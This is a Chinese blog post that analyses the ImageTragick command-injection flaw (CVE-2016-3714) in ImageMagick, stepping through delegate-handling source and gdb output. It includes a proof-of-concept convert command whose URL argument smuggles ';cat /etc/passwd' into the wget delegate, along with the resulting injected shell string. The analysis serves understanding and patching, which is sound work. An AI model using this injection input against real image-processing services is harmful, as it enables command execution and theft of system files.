Imagetragick(CVE-2016-3714)漏洞分析
hyfg04sgdau
9年前
<h3>一. 写在前面</h3> <p>在奇虎360这个互联网公司里,每一个突袭而来的漏洞,也意味360信息安全部将对此进行一场肉搏战,现在已经在午夜。对于CVE-2016-3714这个黑魔法漏洞,虽说看着面上也能看明白这个东西怎么回事,有时候还是走进源码会比较清晰一点,所以这稿子的内容大致是笔者的一个调试过程。</p> <p>每次修漏洞的时候,还是会想起老领导刘小雄说过的24小时修复原则,估计这个原则会长期伴随着个人在安全道路上。</p> <p>Hf!</p> <h2>二. 技术分析</h2> <p>“delegates” 委托或者说是代理模式吧,想起了那年拿着GoF13招不停的练,回头想想好像也就用过一次代理模式。</p> <p><img src="https://simg.open-open.com/show/53ed9e224469dc8fdd584dcd53c797fd.png"></p> <p>CVE-2016-3714所在的问题文件是magick/delegats.c,不知道为啥总觉得它的设计很不优雅,姑且作点事后的调侃吧,因为你所看到这篇文章也不优雅。</p> <p>delegates的实现里主要有个叫 DelegateInfo 的数据结构:</p> <p><img src="https://simg.open-open.com/show/2afcd50c6f6ea765349cb2940178a203.png"></p> <p>这个结构用于存储DelegateMap:</p> <p><img src="https://simg.open-open.com/show/6d2d34779a313845275c60ef20dcb4b4.png"></p> <p>注意其中的一个例子(其实这里你就可以看出源码作者是要使用xml、转义字符的高度的可扩展性):</p> <p>” <delegate decode=\”https\” command=\””wget” -q -O “%o” “https:%M”\”/>”</p> <p>剩下的我们关心它的两个接口:</p> <p>1101 MagickExport MagickBooleanType InvokeDelegate(ImageInfo *image_info,</p> <p>1102 Image *image,const char *decode,const char *encode,ExceptionInfo *exception)</p> <p>…</p> <p>1478 static MagickBooleanType LoadDelegateCache(LinkedListInfo *delegate_cache,</p> <p>1479 const char *xml,const char *filename,const size_t depth,</p> <p>1480 ExceptionInfo *exception)</p> <p>LoadDelegateCache会构建出一个delegate表,InvokeDelegate是用于使用delegate这个表。</p> <p>比如在Load的过程中会对command字段内的value作提前转义:</p> <p><img src="https://simg.open-open.com/show/1424a1aa7ff65f44bc0b08e3d8f98017.png"></p> <p>转义后,就可以看到(比较基础吧):</p> <p>(gdb) p commands</p> <p>$5 = 0x6450c0 “\”wget\” -q -O \”%o\” \”https:%M\””</p> <p>在 InvokeDelegate 的过程中就开始匹配 delegate的类型,这里使用”HTTPS”作为具体实现来试验,具体测试poc如下:</p> <p>$gdb ./utilities/.libs/convert ‘https://security_.360.cn”;cat /etc/passwd”‘ 1.jpg</p> <p>在到达InvokeDelegate 时调试结果如下:</p> <p>1297 }</p> <p>1298 status=MagickFalse;</p> <p>1299 command=InterpretImageProperties(image_info,image,commands[i]); //这里再继续转义</p> <p>1300 if (command != (char *) NULL)</p> <p>1301 {</p> <p>1302 /*</p> <p>1303 Execute delegate. Here we go.</p> <p>1304 */</p> <p>1305 status=ExternalDelegateCommand(delegate_info->spawn,image_info->verbose,</p> <p>1306 command,(char *) NULL,exception) != 0 ? MagickTrue : MagickFalse;</p> <p>1307 if (delegate_info->spawn != MagickFalse)</p> <p>1308 {</p> <p>1309 ssize_t</p> <p>1310 count;</p> <p>(gdb) p command</p> <p>$26 = 0x6537c0 “\”wget\” -q -O \”/tmp/magick-28319ICbZUTH3xNQK\” \”https://security_.360.cn\”;cat /etc/passwd\”\””</p> <p>在这里已经拼接出来最终要执行的代码了。其中比较有趣的也就是 InterpretImageProperties,里头实际上就是对 %0 和%M作转义(见magick/property.c):</p> <p><img src="https://simg.open-open.com/show/0cff197283e7c5cf918fed47fa227011.png"></p> <p><img src="https://simg.open-open.com/show/29649f813f1e381657084f0cadbf7d81.png"></p> <p>最后,提供一份进程启动流程图:</p> <p><img src="https://simg.open-open.com/show/f7a135de903effb1aead9cf9f5d585aa.png"></p> <h2>三. 写在最后</h2> <p>写到这里,其实只是想表达360的内部信息安全漏洞管控是一场无休止的战斗,共勉!</p> <p>gl!</p>